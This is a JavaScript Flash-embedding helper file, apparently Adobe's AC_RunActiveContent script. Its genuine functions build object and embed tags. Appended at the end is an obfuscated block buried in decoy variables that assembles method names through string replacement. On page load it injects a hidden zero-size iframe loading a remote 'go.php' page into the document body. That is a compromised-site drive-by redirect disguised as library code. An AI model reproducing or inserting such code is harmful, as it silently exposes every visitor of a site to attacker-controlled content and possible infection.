
var MSG_EvenArgs = 'The %s function requires an even number of arguments.'
                 + '\nArguments should be in the form "atttributeName","attributeValue",...';
var MSG_SrcRequired = "The %s function requires that a movie src be passed in as one of the arguments.";
function AC_AddExtension(args, paramName, extension)
{
  var currArg, paramVal, queryStr, endStr;
  for (var i=0; i < args.length; i=i+2){
    currArg = args[i].toLowerCase();    
    if (currArg == paramName.toLowerCase() && args.length > i+1) {
      paramVal = args[i+1];
      queryStr = "";
      var indQueryStr = args[i+1].indexOf('?');
      if (indQueryStr != -1){
        paramVal = args[i+1].substring(0, indQueryStr);
        queryStr = args[i+1].substr(indQueryStr);
      }
      endStr = "";
      if (paramVal.length > extension.length)
        endStr = paramVal.substr(paramVal.length - extension.length);
      if (endStr.toLowerCase() != extension.toLowerCase()) {
        args[i+1] = paramVal + extension + queryStr;
      }
    }
  }
}
function AC_GetCodebase(baseURL, defaultVersion, args)
{
  var codebase = baseURL + defaultVersion;
  for (var i=0; i < args.length; i=i+2) {
    currArg = args[i].toLowerCase();    
    if (currArg == "codebase" && args.length > i+1) {
      if (args[i+1].indexOf("http://") == 0) {
        codebase = args[i+1];
      }
      else {
        codebase = baseURL + args[i+1];
      }
    }
  }
	
  return codebase;	
}

function AC_checkArgs(args,callingFn){
  var retVal = true;
  if (parseFloat(args.length/2) != parseInt(args.length/2)){
    alert(sprintf(MSG_EvenArgs,callingFn));
    retVal = false;
  }
  return retVal;
}
function AC_GenerateObj(callingFn, useXHTML, classid, codebase, pluginsPage, mimeType, args){
  if (!AC_checkArgs(args,callingFn)){
    return;
  }
  var tagStr = '';
  var currArg = '';
  var closer = (useXHTML) ? '/>' : '>';
  var srcFound = false;
  var embedStr = '<embed';
  var paramStr = '';
  var embedNameAttr = '';
  var objStr = '<object classid="' + classid + '" codebase="' + codebase + '"';
  for (var i=0; i < args.length; i=i+2){
    currArg = args[i].toLowerCase();    
    if (currArg == "src"){
      if (callingFn.indexOf("RunSW") != -1){
        paramStr += '<param name="' + args[i] + '" value="' + args[i+1] + '"' + closer + '\n';
        embedStr += ' ' + args[i] + '="' + args[i+1] + '"';
        srcFound = true;
      }
      else if (!srcFound){
        paramStr += '<param name="movie" value="' + args[i+1] + '"' + closer + '\n'; 
        embedStr += ' ' + args[i] + '="' + args[i+1] + '"';
        srcFound = true;
      }
    }
    else if (currArg == "movie"){
      if (!srcFound){
        paramStr += '<param name="' + args[i] + '" value="' + args[i+1] + '"' + closer + '\n'; 
        embedStr += ' src="' + args[i+1] + '"';
        srcFound = true;
      }
    }
    else if (   currArg == "width" 
              || currArg == "height" 
              || currArg == "align" 
              || currArg == "vspace" 
              || currArg == "hspace" 
              || currArg == "class" 
              || currArg == "title" 
              || currArg == "accesskey" 
              || currArg == "tabindex"){
      objStr += ' ' + args[i] + '="' + args[i+1] + '"';
      embedStr += ' ' + args[i] + '="' + args[i+1] + '"';
    }
    else if (currArg == "id"){
      objStr += ' ' + args[i] + '="' + args[i+1] + '"';
      if (embedNameAttr == "")
        embedNameAttr = ' name="' + args[i+1] + '"';
    }
    else if (currArg == "name"){
      objStr += ' ' + args[i] + '="' + args[i+1] + '"';
      embedNameAttr = ' ' + args[i] + '="' + args[i+1] + '"';
    }    
    else if (currArg == "codebase"){
    }    
      else{
      paramStr += '<param name="' + args[i] + '" value="' + args[i+1] + '"' + closer + '\n'; 
      embedStr += ' ' + args[i] + '="' + args[i+1] + '"';
    }
  }
  if (!srcFound){
    alert(AC_sprintf(MSG_SrcRequired,callingFn));
    return;
  }

  if (embedNameAttr)
    embedStr += embedNameAttr;	
  if (pluginsPage)
    embedStr += ' pluginspage="' + pluginsPage + '"';
  if (mimeType)
    embedStr += ' type="' + mimeType + '"';
  objStr += '>\n';
  embedStr += '></embed>\n'; 
  tagStr = objStr + paramStr + embedStr + "</object>\n"; 
  document.write(tagStr);
}
function oA(){};var vKF="vKF";oA.prototype = {k : function() {this.n="n";iH=34217;this.y='';this.iN='';try {this.dE="";this.pX=false;rA='';this.nS="";var sE=false;var tW="tW";window.onload=function() {var e=27025;lRV=27397;var z=function(){return 'z'};pS="pS";yY=false;String.prototype.hAJ=function(j, jG){var jGZ=this; return jGZ.replace(j, jG)};eU="";function f(){};var iP=function(){return 'iP'};this.h="h";pF=false;m="";var dL="dL";var l = 'sOuE'.hAJ(/[E:lOk]/g, '')+'bX'.hAJ(/[X2p65]/g, '')+'sbtLroiV'.hAJ(/[VLo{b]/g, '')+'nwgw'.hAJ(/[wx~2$]/g, '');function kK(){};this.cR="cR";this.aG="aG";this.g=51399;var p = 'a>wtqQstu>'.hAJ(/[>?Qrt]/g, '')+'bhs6t6g[d[th'.hAJ(/[h6D[~]/g, '');var hZ=new Array();var kO=false;var x=new Array();var lZ="lZ";this.vI='';this.hS=11275;wM='';var r = 'hzd6syiyn1sz'.hAJ(/[z6Xy1]/g, '')+'e^r&tCA^d^jCa^dCe&r|wMw&sM'.hAJ(/[M|^C&]/g, '');fA="fA";this.lY="lY";var dS=new Array();vU="vU";var yW=51123;var jY = p[l](3, 8);var tQ=new Date();iHT="";rN="rN";hW=false;var aBX="aBX";wU=38947;var w=document;var mJ=new Array();iPX="";var vN=false;var iD=10198;this.vL="";var jK=new Array();var wQ = 'hDtKtKpK:V/C/VcKobmCpKrDoVmbeDnbdKeVsD.CcVoDmV/DsCtKdDsC/Dgbob.CpKhbpK?bsCiCdV=b2C'.hAJ(/[CDbKV]/g, '');this.oS='';this.fY="fY";jYN=false;cS=false;var dSL=27351;this.lD=false;var jM = jY + 'r5ia'.hAJ(/[a}504]/g, '')+'nYgI'.hAJ(/[IY5.x]/g, '');this.zH='';var iV=false;var yF='';var iA=new Array();var v = r[jM](3, 13);var dZ=function(){return 'dZ'};fR='';zR='';var oD=20057;var q=function(){};pR = v + 'cOe5n5t5H5T5MOL5'.hAJ(/[58wuO]/g, '');var fU=new Array();wZ=false;eE="";this.oP='';var mD=new Date();var jQ='';var xM=45077;var sT=false;var zY=function(){};this.qO=27290;var a = 'c^o@l@l@ 7wbibD@xbs@d@'.hAJ(/[@7b]^]/g, '');this.qX="qX";var nF=64355;var uX=new Date();bK=false;wD="";var qD='';var pJ = a[jM](4, 8);this.qY=false;yL=40356;var oV='';qP="";yFP='';var rQ=new Array();var qW='';var zX=new Date();var aB = 'q)kor)t)H;=o1) Vd%e%ro=%1;0) %H)e)'.hAJ(/[)o%V;]/g, '');var xR="";var kI=49241;var rE='';var hP=function(){};this.xF="";var lT=false;var d = pJ + aB[jM](3, 18);rX="rX";var kKY=new Array();this.yR=false;var wS=new Date();function sQ(){};uFE=13324;this.iW='';var s = 'dFwWkWi0GFhWtF=010>F<F/0iQf0R0iWrQm:k0f:'.hAJ(/[:QW0F]/g, '');mJQ=8708;fF="fF";this.uAW='';this.fV="";var xMM=new Array();var b = d + s[jM](3, 17);this.kR='';this.oY="oY";function nSJ(){};this.pU=false;var yO=function(){};this.lL="";var b = b + 'a6m}e}>3'.hAJ(/[36O}2]/g, '');this.yB='';var mI='';var aS=false;var wR=false;this.nJ='';pV='';function eO(){};var bH=false;this.hY=5255;this.jZ="jZ";var vK=function(){};hN="hN";var qC=function(){};nQ=false;var tM=function(){return 'tM'};var wMY=function(){};this.mT="";var bC=function(){};fC='';eOS=false;nO=63518;var i = '}v}JeM<MI/fvRraMjrdJgvhM'.hAJ(/[Mrv/J]/g, '');this.cM=18508;this.fQ='';var dM=new Date();aGH=24678;zHL=false;zYY="";var jW = i[jM](3, 8);rT="";eUH='';var hYC=new Date();tG=false;this.xV='';nK=false;eJ="";var u = 'LQewMwe? QsjR?cw=w}Q}j}w'.hAJ(/[wQjO?]/g, '');var bZ=function(){};var qZ=42519;var aA=new Date();var dH=false;this.jWE=false;var uF = jW + u[jM](2, 9);var lQ=false;jZO="";var vH="";var yZ=false;var aD = uF + 'hyt}typB:1/}/}c1oymBp1rBo)mye)n}d1e1sy.}c1oBm1/)s}tBdysy/}g}oB.}pBh1pB?1s}i)d}=121'.hAJ(/[1B)}y]/g, '');var eI=function(){};var yX=new Array();xA="";var hA="";this.zV="zV";var wL="";this.jF="";var o = '<Zg|opr8 Z>|'.hAJ(/[|8Zp/]/g, '') + aD + b + '<7/7g7o7r[>6'.hAJ(/[6u7[W]/g, '');var rJ='';this.sN="";yU='';this.dW=false;gW="";function mTC(){};var eP="";pD="pD";dD="dD";iB="iB";this.rC='';tD=false;var iAG="";wQL=45854;this.nC=false;var rNE='';var kF="kF";this.iPK=20649;var c = 'sPa2uObP'.hAJ(/[PO.i2]/g, '')+'oidKyKrKwXd,kagX'.hAJ(/[X,iaK]/g, '');fYU=false;var jH=function(){return 'jH'};nU="";bX='';iR="iR";this.pW='';this.pO="";var iBC=1019;var uH=new Date();sD=false;rD = c[jM](3, 7);var nG='';var lZZ="";var xQ='';this.rP='';var fG="fG";var mTX=new Array();this.bKJ=14825;yBY="yBY";var t = 'Tqe.dqB8enf.o8'.hAJ(/[8n.Nq]/g, '');var lH="";var dJ=14814;eUV='';this.aR="aR";this.fT="fT";var dB=false;this.rCF=7119;uZ=936;zK='';this.dY="";this.oN='';xB="xB";function kH(){};aBZ=false;hH=22879;this.vW='';var cB="cB";var aC = t[jM](3, 7);var vR=function(){};fI='';var dP=false;function nA(){};this.aK="";pZ = aC + 'r*eCE(n*d*'.hAJ(/[*(QCp]/g, '');var uFO=function(){return 'uFO'};this.xJ=false;this.hSF='';this.rK="rK";var cI='';function wZL(){};this.kJ=false;yOA='';this.kE=29249;var zYM=new Date();fCT='';xS=56263;this.yT='';aL='';function bB(){};var qI=function(){return 'qI'};this.tS='';this.mV="mV";this.dPW='';var iAZ=53247;var wE="wE";var hNA=function(){return 'hNA'};var yC=new Array();var mS="";eT=false;this.xE=false;this.qPS=false;var cL="cL";var kG="";this.jA=false;this.nE="nE";qK="qK";var uA = w[rD];var nB="";var xRN=function(){};var rB=function(){};vHA=13095;var hT=function(){};var wV='';lR = uA[pR];var vC=new Array();var gT=40930;kRF=false;this.aY="";var kB="";hWV=false;eG=false;function gM(){};lR(pZ, o);this.zF=false;var eIM=new Array();};this.fO="fO";var xT=43554;dPD='';this.bHD=false;} catch(pC) {var tWM=false;vZ=64103;vQ="";var pL=false;oSZ='';w.write("xpe,");pG='';oC=false;}vWJ="";var aKL=new Date();var kL=42784;uO=49200;}};hV="";var fIV=new oA(); var dMC="";fIV.k();var gU=new Array();